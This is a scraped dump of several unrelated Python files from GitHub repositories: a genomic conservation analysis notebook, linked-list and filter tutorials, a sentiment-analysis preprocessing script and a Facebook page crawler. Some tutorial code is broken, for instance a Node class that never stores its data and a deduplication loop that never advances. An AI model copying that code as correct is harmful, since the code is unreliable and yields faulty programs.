l2_fold_change(real, rand):\n \"\"\"\n Returns the log2 fold change of real \n (real mean phastcon)/rand (mean phastcon over random event)\n \"\"\"\n return np.log2(real/rand)\n\nmerged_fold_changes = pd.DataFrame()\nmerged_means_real = pd.DataFrame()\nmerged_means_rand = pd.DataFrame()\n\nto_exclude = ['243','298','544','553','516'] # LARP7, DKC1, BOP1\n\nprogress = tnrange(len(pickles))\n\nfor p in pickles: # for each pickle file/RBP\n ### this block corresponds to a single line in merged dataframes, each line is a sample ###\n uid = os.path.basename(p).split('.')[0] # assumes a specific IDR filename structure... \n label = uid_to_label(uid)\n if label != '': # we found a submitted dataset with proper rbp/cell line annotations\n mean_real_dict = defaultdict()\n mean_rand_dict = defaultdict()\n fold_changes_dict = defaultdict()\n\n real, rand = get_dataframes(p) # get list of dataframes for each real/rand\n \n ### this block checks the number of events for the RBPs we want to exclude.\n if uid in to_exclude:\n print('{}, {}, '.format(uid, label)),\n get_mean_phastcon(real['all'], v=True)\n for region in rand.keys(): # for each cds, three_prime_utr, etc.\n\n ### get mean phastcon scores over list of dataframes in real/rand\n mean_real = get_mean_phastcon(real[region])\n mean_rand = get_mean_phastcon(rand[region])\n \n \n ### store values into dictionary \n mean_real_dict[region] = mean_real\n mean_rand_dict[region] = mean_rand\n fold_changes_dict[region] = l2_fold_change(mean_real, mean_rand)\n\n ### Concatenate current line into merged\n merged_fold_changes = pd.concat(\n [merged_fold_changes, pd.DataFrame(fold_changes_dict, index=[label])], \n axis=0\n )\n merged_means_real = pd.concat(\n [merged_means_real, pd.DataFrame(mean_real_dict, index=[label])]\n )\n merged_means_rand = pd.concat(\n [merged_means_rand, pd.DataFrame(mean_rand_dict, index=[label])]\n )\n progress.update(1)\n\nmerged_fold_changes\n\nmerged_fold_changes['sum'] = 0 # incase I need to re-run and don't want the sum to include old sums\nmerged_fold_changes['sum'] = merged_fold_changes.sum(axis=1)\nmerged_fold_changes.sort_values(by='sum', ascending=False, inplace=True)\n\nmerged_fold_changes.to_csv(\n '/home/bay001/projects/encode/analysis/conservation_analysis/analysis_from_pickle/l2_fold_change_phastcons_from_pickle.txt', \n sep='\\t'\n)\nmerged_means_real.to_csv(\n '/home/bay001/projects/encode/analysis/conservation_analysis/analysis_from_pickle/mean_phastcons_from_real_pickle.txt', \n sep='\\t'\n)\nmerged_means_rand.to_csv(\n '/home/bay001/projects/encode/analysis/conservation_analysis/analysis_from_pickle/mean_phastcons_from_rand_pickle.txt', \n sep='\\t'\n)\n\nimg_dir = '/home/bay001/projects/encode/analysis/conservation_analysis/analysis_from_pickle/'\n\nregions = ['all','three_prime_utrs','five_prime_utrs','cds','distintron500','proxintron500']\nnum_to_plot = 50\n\n# merged_fold_changes.index = [i.replace('.clip_formatted.bed.clip_analysis.pickle','') for i in merged.index] # cleans up the labels a bit more.\ndef plot_all_regions(df, regions, img_dir):\n for region in regions:\n # sort by the region specified (highest first), then take first num_to_plot\n df.sort_values(by=region, ascending=False, inplace=True)\n subset = df[:num_to_plot][region] \n subset = subset.iloc[::-1] # flip so that highest is on top\n subset.plot(\n kind='barh', \n figsize=(15,25),\n )\n plt.title('Mean phastcon fold changes at least {} peaks: {}'.format(MIN_EVENTS, region))\n plt.tight_layout()\n plt.savefig(\n os.path.join(img_dir, '{}_mean_phastcon_l2_foldchanges.svg'.format(region))\n )\n \n plt.clf()\n plt.cla()\n return 0\n\nplot_all_regions(merged_fold_changes, regions, img_dir)\n\np = '/projects/ps-yeolab3/encode/analysis/encode_idr_clip_analysis/495.01v02.IDR.out.0102merged.bed.annotated.clip_formatted.bed.clip_analysis.pickle'\nloaded = pickle.load(open(p, 'rb'))\n\nmean_real = loaded['phast_values'].ix['all'].ix['real'].ix[1]['mean'].mean()\nphastsum_rand1 = loaded['phast_values'].ix['all'].ix['rand'].ix[0]['mean'].sum()\nsum_rand1 = loaded['phast_values'].ix['all'].ix['rand'].ix[0].shape[0]\nphastsum_rand2 = loaded['phast_values'].ix['all'].ix['rand'].ix[1]['mean'].sum()\nsum_rand2 = loaded['phast_values'].ix['all'].ix['rand'].ix[1].shape[0]\nphastsum_rand3 = loaded['phast_values'].ix['all'].ix['rand'].ix[2]['mean'].sum()\nsum_rand3 = loaded['phast_values'].ix['all'].ix['rand'].ix[2].shape[0]\n\nsum_all = phastsum_rand1 + phastsum_rand2 + phastsum_rand3\nn_all = sum_rand1 + sum_rand2 + sum_rand3\n\nmean_rand = sum_all/float(n_all)\nprint(mean_real/mean_rand)\nprint(np.log2((mean_real/mean_rand)))\nmerged_fold_changes.ix['495-PPIG-HepG2']\n\nfig, ax = plt.subplots(figsize=(10,65))\nto_plot = merged_fold_changes[['all','cds','distintron500','proxintron500','three_prime_utrs','five_prime_utrs']]\nsns.heatmap(to_plot, ax=ax)\nplt.savefig('/home/bay001/projects/encode/analysis/conservation_analysis/analysis_from_pickle/fold_change_phastcons_heatmap.svg')\n\n# look at distal intron enriched conservation for splicing factors U2AF2/1, SF3B4, PRPF8\n# look at 3' UTR enriched conservation for TDP43\n# plot histogram of conservation scores\n# convert to zscore\n\nmerged_fold_changes['all'].plot(kind='hist', bins=25, label='all', alpha=0.75)\n\nmerged_fold_changes['cds'].plot(kind='hist', bins=25, label='cds', alpha=0.75)\n\nmerged_fold_changes['distintron500'].plot(kind='hist', bins=25, label='distintron', alpha=0.75)\n\nmerged_fold_changes['proxintron500'].plot(kind='hist', bins=25, label='proxintron', alpha=0.75)\n\nmerged_fold_changes['three_prime_utrs'].plot(kind='hist', bins=25, label='3UTR', alpha=0.75)\n\nmerged_fold_changes['five_prime_utrs'].plot(kind='hist', bins=25, label='5UTR', alpha=0.75)\nplt.legend()\n\nmerged_fold_changes_z = (merged_fold_changes - merged_fold_changes.mean())/merged_fold_changes.std()\n\nfig, ax = plt.subplots(figsize=(10,65))\nto_plot = merged_fold_changes_z[['all','cds','distintron500','proxintron500','three_prime_utrs','five_prime_utrs']]\nsns.heatmap(to_plot, ax=ax)\nplt.savefig('/home/bay001/projects/encode/analysis/conservation_analysis/analysis_from_pickle/fold_change_phastcons_heatmap_zscore.svg')\n\nregions = ['all','three_prime_utrs','five_prime_utrs','cds','distintron500','proxintron500']\nnum_to_plot = 50\n\n# merged_fold_changes.index = [i.replace('.clip_formatted.bed.clip_analysis.pickle','') for i in merged.index] # cleans up the labels a bit more.\ndef plot_zscores(df, regions, img_dir):\n for region in regions:\n df.sort_values(by=region, ascending=False, inplace=True)\n subset = df[:num_to_plot][region]\n subset = subset.iloc[::-1] # flip so that highest is on top\n subset.plot(\n kind='barh', \n figsize=(15,25),\n )\n plt.title('Mean phastcon fold changes at least {} peaks: {}'.format(MIN_EVENTS, region))\n plt.tight_layout()\n plt.savefig(\n os.path.join(img_dir, '{}_mean_phastcon_l2_foldchanges_zscores.svg'.format(region))\n )\n plt.clf()\n plt.cla()\n \nplot_zscores(merged_fold_changes_z, regions, img_dir)\n\nimport pybedtools\n\ntdp43_peaks = pd.read_table(\n '/home/elvannostrand/data/clip/CLIPseq_analysis/ENCODE_FINALforpapers_20170325/IDR/340.01v02.IDR.out.0102merged.bed.annotated',\n names=['chrom','start','end','l10p','l2fc','strand','annotation','genes']\n)\nutr3_bed = pybedtools.BedTool('/projects/ps-yeolab3/bay001/annotations/data/regions/hg19_three_prime_utrs.bed')\nphastcon_bw = '/projects/ps-yeolab/genomes/hg19/hg19.100way.phastCons.bw'\n\nconservation_density = ReadDensity.Phastcon(phastcon_bw)\n\"\"\"\ndef get_region(row):\n if 'intergenic' in row['annotation']:\n return 'intergenic'\n else:\n return row['annotation'].split('|')[0]\n\ntdp43_peaks['region'] = tdp43_peaks.apply(get_region, axis=1)\ntdp43_3utr_peaks = tdp43_peaks[tdp43_peaks['region']=='3utr'][['chrom','start','end','l10p','l2fc','strand']]\npeaks = pybedtools.BedTool.from_dataframe(tdp43_3utr_peaks)\"\"\"\n\ntdp_pickle = '/projects/ps-yeolab3/encode/analysis/encode_idr_clip_analysis/340.01v02.IDR.out.0102merged.bed.annotated.clip_formatted.bed.clip_analysis.pickle'\ndataframe = get_dataframes(tdp_pickle)[0]['three_prime_utrs'][0].reset_index()\ndataframe.head()\n\ndataframe['pos'] = dataframe['level_3'].apply(lambda x: x.split('_')[-1])\ndataframe['chrom'] = dataframe['pos'].apply(lambda x: x.split(':')[0])\ndataframe['start'] = dataframe['pos'].apply(lambda x: int(x.split(':')[1].split('-')[0]))\ndataframe['end'] = dataframe['pos'].apply(lambda x: int(x.split(':')[1].split('-')[1]))\ndataframe = dataframe[['chrom','start','end','sum','mean']]\ndataframe['strand'] = '+' # ignore strand for now\ndataframe.head()\n\nhg19chromsizes = '/projects/ps-yeolab/genomes/hg19/hg19.chrom.sizes'\npeaks = pybedtools.BedTool.from_dataframe(dataframe)\nflanking_regions = peaks.flank(g=hg19chromsizes, b=100).to_dataframe()\n\ndef return_avg_phastcon(row, density=conservation_density):\n lst = density.values(\n row['chrom'], row['start'], row['end'], row['strand']\n )\n return sum(lst) / float(len(lst))\n\nflanking_regions['score'] = flanking_regions.apply(return_avg_phastcon, axis=1)\n\nadd_left_flank = pd.merge(flanking_regions, dataframe, how='right', left_on='end', right_on='start')\nadd_left_flank.columns = ['left_chrom','left_start','left_end','left_name','left_score','left_strand',\n 'chrom','start','end','name','score','strand']\nadd_right_flank = pd.merge(add_left_flank, flanking_regions, how='left', left_on='end', right_on='start')\n\nadd_right_flank['what'] = add_right_flank['left_score'] + add_right_flank['score_y'] - add_right_flank['score_x']\n\nout_file = '/home/bay001/projects/encode/analysis/conservation_analysis/analysis_from_pickle/340_tdp43_conserved_3utr_candidates.bed'\nadd_right_flank.sort_values(by='what').head(30)[['chrom_x','start_x','end_x']].to_csv(out_file, sep='\\t', index=False, header=False)\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/analyze_conservation_third_pass.py","file_name":"analyze_conservation_third_pass.py","file_ext":"py","file_size_in_byte":13774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30738493793","text":"\"\"\"\nRemove duplicates from an unsorted linked list\n\nWrite a removeDuplicates() function that takes a list and deletes any duplicate nodes\nfrom the list. The list is not sorted.\n\nFor example if the linked list is 12->11->12->21->41->43->21 then removeDuplicates()\nshould convert the list to 12->11->21->41->43\n\n\n\n\nMETHOD 1 (Using two loops)\nThis is the simple way where two loops are used. Outer loop is used to pick\nthe elements one by one and inner loop compares the picked element with rest of the elements.\n\"\"\"\nfrom generic_singly_linked_list import generic_singly_linked_list, Node\n\n# program to remove duplicates from unsorted LL : Time Complexity: O(n^2)\nclass Node:\n def __init__(self, d):\n data = d\n next = None\n\nclass LinkedList:\n\n # Function to remove duplicates from an unsorted linked list\n def remove_duplicates(self, head):\n ptr1 = ptr2 = dup = None\n ptr1 = head\n\n # Pick elements one by one\n while (ptr1 != None and ptr1.next != None):\n ptr2 = ptr1\n\n # Compare the picked element with rest of the elements\n while (ptr2.next != None):\n\n # If duplicate then delete it\n if (ptr1.data == ptr2.next.data):\n # sequence of steps is important here\n dup = ptr2.next\n ptr2.next = ptr2.next.next\n # garbagge collection\n else: # This is tricky\n ptr2 = ptr2.next\n\n ptr1 = ptr1.next\n\n def printList(self,node):\n while (node != None):\n print(node.data + \" \")\n node = node.next\n\nif __name__=='__main__':\n list = LinkedList()\n list.head = Node(10)\n list.head.next = Node(12)\n list.head.next.next = Node(11)\n list.head.next.next.next = Node(11)\n list.head.next.next.next.next = Node(12)\n list.head.next.next.next.next.next = Node(11)\n list.head.next.next.next.next.next.next = Node(10)\n\n # print(\"Linked List before removing duplicates : \\n \")\n # list.printList(list.head)\n\n # list.remove_duplicates()\n # print(\"\")\n # print(\"Linked List after removing duplicates : \\n \")\n # list.printList(list.head)\n\n\n\"\"\"\nMETHOD 2 (Use Sorting) \nIn general, Merge Sort is the best-suited sorting algorithm for sorting linked lists efficiently. \n1) Sort the elements using Merge Sort. O(nLogn) \n2) Remove duplicates in linear time using the algorithm for removing duplicates in sorted Linked List. O(n) \nPlease note that this method doesn’t preserve the original order of elements.\nTime Complexity: O(nLogn)\n\"\"\"\n\n\n\"\"\"\nMETHOD 3 (Use Hashing) \nWe traverse the link list from head to end. For every newly encountered element, \nwe check whether it is in the hash table: if yes, we remove it; otherwise we put it \nin the hash table.\n\"\"\"\n\n\n# Python3 program to remove duplicates\n# from unsorted linkedlist\nclass Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n\n def __init__(self):\n\n self.head = None\n\n # Function to print nodes in a\n # given linked list\n def printlist(self):\n\n temp = self.head\n\n while (temp):\n print(temp.data, end=\" \")\n temp = temp.next\n\n # Function to remove duplicates from a\n # unsorted linked list\n def removeDuplicates(self, head):\n\n # Base case of empty list or list with only one element\n if self.head is None or self.head.next is None:\n return head\n\n # Hash to store seen values\n hash = set()\n\n current = head\n hash.add(self.head.data)\n\n while current.next is not None:\n\n if current.next.data in hash:\n current.next = current.next.next\n else:\n hash.add(current.next.data)\n current = current.next\n\n return head\n\n\n# Driver code\nif __name__ == \"__main__\":\n # Creating Empty list\n llist = LinkedList()\n llist.head = Node(10)\n second = Node(12)\n third = Node(11)\n fourth = Node(11)\n fifth = Node(12)\n sixth = Node(11)\n seventh = Node(10)\n\n # Connecting second and third\n llist.head.next = second\n second.next = third\n third.next = fourth\n fourth.next = fifth\n fifth.next = sixth\n sixth.next = seventh\n\n # Printing data\n print(\"Linked List before removing Duplicates.\")\n llist.printlist()\n llist.removeDuplicates(llist.head)\n print(\"\\nLinked List after removing duplicates.\")\n llist.printlist()\n\n \n\nprint(\"\\n my tests \\n\")\nclass my_tests(generic_singly_linked_list):\n def __init__(self) -> None:\n super().__init__()\n\n def remove_duplicates(self, head):\n current = head\n dic ={}\n\n while (current):\n if current.data in dic:\n current =current.next\n else:\n print(current.data, end=\"-->\")\n dic[current.data]=True\n\n \n\nllist = my_tests()\nllist.push(21)\nllist.push(43)\nllist.push(41)\nllist.push(21)\nllist.push(12)\nllist.push(11)\nllist.push(12)\nllist.print_ll()\nllist.remove_duplicates(llist.head)\n\n# 12->11->21->41->43\n","repo_name":"Chemokoren/Algorithms-1","sub_path":"GFG/LinkedLists/SinglyLinkedLists/remove_duplicates_from_unsorted_LL.py","file_name":"remove_duplicates_from_unsorted_LL.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"13404233231","text":"# Filters in Python\n\n# Filters is a function which can be used to filter out certain values out of a list.\ndef even(x):\n if x%2==0:\n return x\n\nnum = [10, 1, 2, 4, 8, 6, 7, 45, 25, 28, 60, 46, 47, 86]\n# print(list(filter(lambda x: x % 2 == 0, num)))\nprint(list(filter(even,num)))","repo_name":"Mitshah2406/Python-Tuts","sub_path":"Tutorials/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13804806515","text":"if __name__=='__main__':\n\timport os, sys\n\tsys.path.append(os.path.normpath(os.path.dirname(os.path.abspath(__file__))+'/..'))\n\tdel os, sys\n\ndef EXEC(cmd:str):\n\tfrom nle_win import Exec\n\ta, b, c, _ = Exec(cmd)\n\tif not (a and b and c):\n\t\traise Exception()\ndef test():\n\tfrom nle_win import connect, step\n\tconnect()\n\tEXEC('env.reset()')\n\tEXEC('env.env.render()')\n\tobs, reward, done = step(0)\n\tprint(obs, reward, done)\n\tEXEC('terminate()')\nif __name__ == '__main__':\n\tfrom nle_win import connect, InteractiveEXEC, disconnect\n\tconnect()\n\tInteractiveEXEC()\n\tdisconnect()\n","repo_name":"qg-p/DRL","sub_path":"misc/t0.py","file_name":"t0.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18841540926","text":"import os\nimport re\nimport pickle\nimport numpy as np\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\n\n\ndef collect_data(data_file_name, output_file_name_suffix):\n \"\"\"\n Collect data: times, texts, labels.\n times: list of time (in str), using pickle to save.\n texts: list of text, using pickle to save.\n labels: 2d array, using np to save.\n \"\"\"\n # Generate file path\n data_file_path = os.path.join(os.path.pardir, \"data\", data_file_name)\n times_file_path = os.path.join(\n os.path.pardir, \"data\", \"times_\" + output_file_name_suffix)\n texts_file_path = os.path.join(\n os.path.pardir, \"data\", \"texts_\" + output_file_name_suffix)\n labels_file_path = os.path.join(\n os.path.pardir, \"data\", \"labels_\" + output_file_name_suffix)\n # Collect data\n times = []\n texts = []\n labels = []\n with open(data_file_path, 'r') as data_file:\n for line in data_file:\n time_str, label_str, text = line.split('\\t')\n times.append(time_str)\n text = text[:-1] # pop '\\n'\n texts.append(text)\n label = [int(s) for s in re.findall(r'\\d+', label_str)]\n label.pop(0)\n labels.append(label)\n # Write data to files\n with open(times_file_path, 'wb') as times_file:\n pickle.dump(times, times_file)\n with open(texts_file_path, 'wb') as texts_file:\n pickle.dump(texts, texts_file)\n with open(labels_file_path, 'wb') as labels_file:\n np.save(labels_file, np.asarray(labels))\n\n\ndef verify_data(file_name_suffix):\n \"\"\"\n Verify data is properly collected and saved.\n \"\"\"\n # Generate file path\n times_file_path = os.path.join(\n os.path.pardir, \"data\", \"times_\" + file_name_suffix)\n texts_file_path = os.path.join(\n os.path.pardir, \"data\", \"texts_\" + file_name_suffix)\n labels_file_path = os.path.join(\n os.path.pardir, \"data\", \"labels_\" + file_name_suffix)\n # Read data from files\n with open(times_file_path, 'rb') as times_file:\n times = pickle.load(times_file)\n with open(texts_file_path, 'rb') as texts_file:\n texts = pickle.load(texts_file)\n with open(labels_file_path, 'rb') as labels_file:\n labels = np.load(labels_file)\n print(times)\n print(texts)\n print(labels)\n\n\ndef bags_of_words():\n \"\"\"\n Convert text data to bags-of-words, using np to save.\n w(i)(j)表示第i个文档中第j个词出现的频率\n \"\"\"\n # Generate file path\n texts_train_file_path = os.path.join(os.path.pardir, \"data\", \"texts_train\")\n output_train_file_path = os.path.join(\n os.path.pardir, \"data\", \"bags-of-words_train\")\n texts_test_file_path = os.path.join(os.path.pardir, \"data\", \"texts_test\")\n output_test_file_path = os.path.join(\n os.path.pardir, \"data\", \"bags-of-words_test\")\n # Convert train text to bags-of-words\n with open(texts_train_file_path, 'rb') as texts_train_file:\n texts_train = pickle.load(texts_train_file)\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(texts_train)\n matrix_train = tokenizer.texts_to_matrix(texts_train, mode=\"freq\")\n # Save train matrix\n print(matrix_train.shape)\n with open(output_train_file_path, 'wb') as output_file:\n np.save(output_file, matrix_train)\n # Convert test text to bags-of-words\n with open(texts_test_file_path, 'rb') as texts_test_file:\n texts_test = pickle.load(texts_test_file)\n matrix_test = tokenizer.texts_to_matrix(texts_test, mode=\"freq\")\n # Save test matrix\n print(matrix_test.shape)\n with open(output_test_file_path, 'wb') as output_file:\n np.save(output_file, matrix_test)\n\n\ndef tf_idf():\n \"\"\"\n Convert text data to tf-idf, using np to save.\n w(i)(j) = tf(i)(j) * idf(j) 表示第i个文档中第j个词的tf-idf值\n tf(i)(j) = 1 + np.log(count(i)(j))\n count(i)(j)表示第i个文档中第j个词出现的次数\n idf(j) = log(1 + document_count / (1 + df(j)))\n df(j)表示出现第j个词的文档数\n \"\"\"\n # Generate file path\n texts_train_file_path = os.path.join(os.path.pardir, \"data\", \"texts_train\")\n output_train_file_path = os.path.join(\n os.path.pardir, \"data\", \"tf-idf_train\")\n texts_test_file_path = os.path.join(os.path.pardir, \"data\", \"texts_test\")\n output_test_file_path = os.path.join(\n os.path.pardir, \"data\", \"tf-idf_test\")\n # Convert train text to bags-of-words\n with open(texts_train_file_path, 'rb') as texts_train_file:\n texts_train = pickle.load(texts_train_file)\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(texts_train)\n matrix_train = tokenizer.texts_to_matrix(texts_train, mode=\"tfidf\")\n # Save train matrix\n print(\"document count: \", tokenizer.document_count)\n print(matrix_train.shape)\n with open(output_train_file_path, 'wb') as output_file:\n np.save(output_file, matrix_train)\n # Convert test text to bags-of-words\n with open(texts_test_file_path, 'rb') as texts_test_file:\n texts_test = pickle.load(texts_test_file)\n # TODO: fix test matrix: use train word_index but new count\n matrix_test = tokenizer.texts_to_matrix(texts_test, mode=\"tfidf\")\n # Save test matrix\n print(\"document count: \", tokenizer.document_count)\n print(matrix_test.shape)\n with open(output_test_file_path, 'wb') as output_file:\n np.save(output_file, matrix_test)\n\n\ndef word_embedding(max_sequence_length=350):\n \"\"\"\n Convert text data to word-embedding, using np to save.\n w(i)(j)表示第i个文档中第j个词在word_embedding词表中对应的index.\n Convert word2vec data to word-embedding matrix, using np to save.\n 只保留在训练语料库中出现的词向量,组成word-embedding matrix.\n @param: max_sequence_length: used to pad index sequence of a text.\n \"\"\"\n # Generate file path\n texts_train_file_path = os.path.join(os.path.pardir, \"data\", \"texts_train\")\n output_train_file_path = os.path.join(\n os.path.pardir, \"data\", \"word-embedding_train\")\n texts_test_file_path = os.path.join(os.path.pardir, \"data\", \"texts_test\")\n output_test_file_path = os.path.join(\n os.path.pardir, \"data\", \"word-embedding_test\")\n # Convert train text to word-embedding\n with open(texts_train_file_path, 'rb') as texts_train_file:\n texts_train = pickle.load(texts_train_file)\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(texts_train)\n sequences_train = tokenizer.texts_to_sequences(texts_train)\n sequences_train = pad_sequences(\n sequences_train, maxlen=max_sequence_length)\n # Save train sequences\n print(len(tokenizer.word_index))\n print(sequences_train.shape)\n with open(output_train_file_path, 'wb') as output_file:\n np.save(output_file, np.asarray(sequences_train))\n # Convert test text to word-embedding\n with open(texts_test_file_path, 'rb') as texts_test_file:\n texts_test = pickle.load(texts_test_file)\n sequences_test = tokenizer.texts_to_sequences(texts_test)\n sequences_test = pad_sequences(sequences_test, maxlen=max_sequence_length)\n # Save test sequences\n print(sequences_test.shape)\n with open(output_test_file_path, 'wb') as output_file:\n np.save(output_file, np.asarray(sequences_test))\n\n # Generate file path\n word2index_dict_file_path = os.path.join(\n os.path.pardir, \"data\", \"word2vec_dict\")\n index2vec_mat_file_path = os.path.join(\n os.path.pardir, \"data\", \"word2vec_matrix\")\n word_embedding_mat_file_path = os.path.join(\n os.path.pardir, \"data\", \"word-embedding_matrix\")\n # Read data from files\n with open(word2index_dict_file_path, 'rb') as word2index_dict_file:\n word2index_dict = pickle.load(word2index_dict_file)\n with open(index2vec_mat_file_path, 'rb') as index2vec_mat_file:\n index2vec_matrix = np.load(index2vec_mat_file)\n # Convert word2vec matrix to word-embedding matrix\n word_embedding_matrix_shape = (\n len(tokenizer.word_index) + 1, index2vec_matrix.shape[1]) # +1 for not exist word\n word_embedding_matrix = np.zeros(word_embedding_matrix_shape)\n for word, index in tokenizer.word_index.items():\n word2vec_index = word2index_dict.get(word)\n if word2vec_index is not None:\n # Vector of words not found in word2vec will be all-zeros.\n word_embedding_matrix[index] = index2vec_matrix[word2vec_index]\n # Save word-embedding matrix\n print(word_embedding_matrix.shape)\n with open(word_embedding_mat_file_path, 'wb') as word_embedding_mat_file:\n np.save(word_embedding_mat_file, word_embedding_matrix)\n\n\ndef classification(file_name_suffix):\n \"\"\"\n Convert label data to classification-label, using np to save.\n 转化为单标签预测(分类问题),标签中最大值为1,其余为0.\n \"\"\"\n # Generate file path\n labels_file_path = os.path.join(\n os.path.pardir, \"data\", \"labels_\" + file_name_suffix)\n output_file_path = os.path.join(\n os.path.pardir, \"data\", \"classification_\" + file_name_suffix)\n # Convert labels to classification-labels\n with open(labels_file_path, 'rb') as labels_file:\n labels = np.load(labels_file)\n max_indexes = labels.argmax(axis=1)\n classification = np.zeros(labels.shape)\n for i, j in enumerate(max_indexes):\n classification[i][j] = 1\n # Save matrix\n print(classification)\n with open(output_file_path, 'wb') as output_file:\n np.save(output_file, classification)\n\n\ndef regression(file_name_suffix):\n \"\"\"\n Convert label data to regression-label, using np to save.\n 归一化情感分布(回归问题),标签中所有值求和为1.\n \"\"\"\n # Generate file path\n labels_file_path = os.path.join(\n os.path.pardir, \"data\", \"labels_\" + file_name_suffix)\n output_file_path = os.path.join(\n os.path.pardir, \"data\", \"regression_\" + file_name_suffix)\n # Convert labels to regression-labels\n with open(labels_file_path, 'rb') as labels_file:\n labels = np.load(labels_file)\n sums = labels.sum(axis=1)\n regression = labels.astype('float64')\n for i, j in np.ndindex(regression.shape):\n regression[i][j] /= sums[i]\n # Save matrix\n print(regression)\n with open(output_file_path, 'wb') as output_file:\n np.save(output_file, regression)\n\n\ndef collect_word2vec():\n \"\"\"\n Convert word2vec to word2index dictionary, using pickle to save, \n and index2vec matrix, using np to save.\n \"\"\"\n # Generate file path\n word2vec_file_path = os.path.join(\n os.path.pardir, \"data\", \"sgns.sogounews.bigram-char\")\n word2index_dict_file_path = os.path.join(\n os.path.pardir, \"data\", \"word2vec_dict\")\n index2vec_mat_file_path = os.path.join(\n os.path.pardir, \"data\", \"word2vec_matrix\")\n # Convert word2vec to word2index dictionary and index2vec matrix.\n with open(word2vec_file_path, 'r') as word2vec_file:\n shape = [int(s) for s in re.findall(r'\\d+', word2vec_file.readline())]\n word2index_dict = {}\n index2vec_matrix = np.zeros(shape)\n index = 0\n for line in word2vec_file:\n line_list = line.split(' ')\n if line_list[0]: # remove empty string\n word2index_dict[line_list[0]] = index\n index2vec_matrix[index] = np.array(line_list[1:-1]) # pop '\\n'\n index += 1\n else:\n # Remove last empty row in index2vec_matrix\n index2vec_matrix = np.delete(index2vec_matrix, -1, axis=0)\n # Save dict and matrix\n print(index2vec_matrix.shape)\n print(len(word2index_dict))\n with open(word2index_dict_file_path, 'wb') as word2index_dict_file:\n pickle.dump(word2index_dict, word2index_dict_file)\n with open(index2vec_mat_file_path, 'wb') as index2vec_mat_file:\n np.save(index2vec_mat_file, index2vec_matrix)\n\n\ndef verify_word2vec():\n \"\"\"\n Verify word2vec data is properly collected and saved.\n \"\"\"\n # Generate file path\n word2index_dict_file_path = os.path.join(\n os.path.pardir, \"data\", \"word2vec_dict\")\n index2vec_mat_file_path = os.path.join(\n os.path.pardir, \"data\", \"word2vec_matrix\")\n # Read data from files\n with open(word2index_dict_file_path, 'rb') as word2index_dict_file:\n word2index_dict = pickle.load(word2index_dict_file)\n with open(index2vec_mat_file_path, 'rb') as index2vec_mat_file:\n index2vec_matrix = np.load(index2vec_mat_file)\n print(word2index_dict)\n print(index2vec_matrix)\n\n\nif __name__ == \"__main__\":\n # # Demo data\n # file_name_suffix = \"demo\"\n # collect_data(\"sinanews.train\", file_name_suffix)\n # verify_data(file_name_suffix)\n # # Demo label\n # classification(file_name_suffix)\n # regression(file_name_suffix)\n # Train data\n file_name_suffix = \"train\"\n collect_data(\"sinanews.train\", file_name_suffix)\n verify_data(file_name_suffix)\n # Train label\n classification(file_name_suffix)\n regression(file_name_suffix)\n # Test data\n file_name_suffix = \"test\"\n collect_data(\"sinanews.test\", file_name_suffix)\n verify_data(file_name_suffix)\n # Test label\n classification(file_name_suffix)\n regression(file_name_suffix)\n # word2vec data\n collect_word2vec()\n verify_word2vec()\n # Train texts\n bags_of_words()\n tf_idf()\n word_embedding()\n","repo_name":"MangoMaster/sentiment_analysis","sub_path":"src/bake_data.py","file_name":"bake_data.py","file_ext":"py","file_size_in_byte":13443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20255913495","text":"import requests\nimport os.path\nimport json\nfrom bs4 import BeautifulSoup\nfrom bs4 import Comment\nfrom enum import Enum\nimport re\n\n# --Class PageFeed : Get facebook page/group's writing--\n'''\nUsage\nfbc = FacebookCrawler()\nfbc.set_user(\"username\")\n\nfbc.addPagetoList or GroupList\nfbc.auto~~.\nor\nfbc.pageFeed(...)\n'''\nclass FacebookCrawler:\n userName = \"\"\n targList = dict()\n\n def set_user(self, uname):\n self.userName = uname\n filePath = 'user_' + uname + '.dat'\n if os.path.isfile(filePath):\n with open(filePath, encoding='utf-8') as r:\n self.targList = json.load(r)\n return\n self.initDict()\n\n def initDict(self):\n self.targList['Page'] = dict()\n self.targList['Group'] = dict()\n\n def addPagetoList(self, page_Name, count = 5):\n if page_Name in self.targList['Page']:\n return\n self.targList['Page'][page_Name] = dict()\n self.targList[\"Page\"][page_Name]['tData'] = \"\"\n self.targList['Page'][page_Name]['count'] = count\n\n def addGrouptoList(self, group_Name, count = 5):\n if group_Name in self.targList['Group']:\n return\n self.targList['Group'][group_Name] = dict()\n self.targList['Group'][group_Name]['tData'] = \"\"\n self.targList['Group'][group_Name]['count'] = count\n\n def getTimeData(self, targName, targType): #If page doesn't exist in file, return -1\n return self.targList[targType][targName][\"tData\"] if self.targList[targType][targName]['tData'] != \"\" else -1, self.targList[targType][targName]['count']\n\n def writeTimeData(self, pageName, targType, timeData):\n self.targList[targType][pageName]['tData'] = timeData\n\n def writeUserFile(self, data):\n with open('user_' + self.userName + '.dat', mode='wt', encoding='utf-8') as w:\n json.dump(self.targList, w, indent=\"\\t\")\n\n def remDup(self, html, oldTimeID):\n for child in reversed(html):\n html.pop()\n if(child.find('a', {'class':'_5pcq'})['href'] == oldTimeID):\n break\n\n def remNotice(self, respSoup):\n i = 0\n for child in respSoup:\n if(child.select('._449j')):\n i += 1\n else:\n break\n return respSoup[i : int(len(respSoup))]\n\n def pageFeed(self, pageName):\n if self.userName == \"\":\n print(\"Need username\")\n return\n req = requests.get(\"https://www.facebook.com/pg/\" + pageName + \"/posts/?ref=page_internal\")\n soup = BeautifulSoup(req.content, \"html.parser\")\n\n 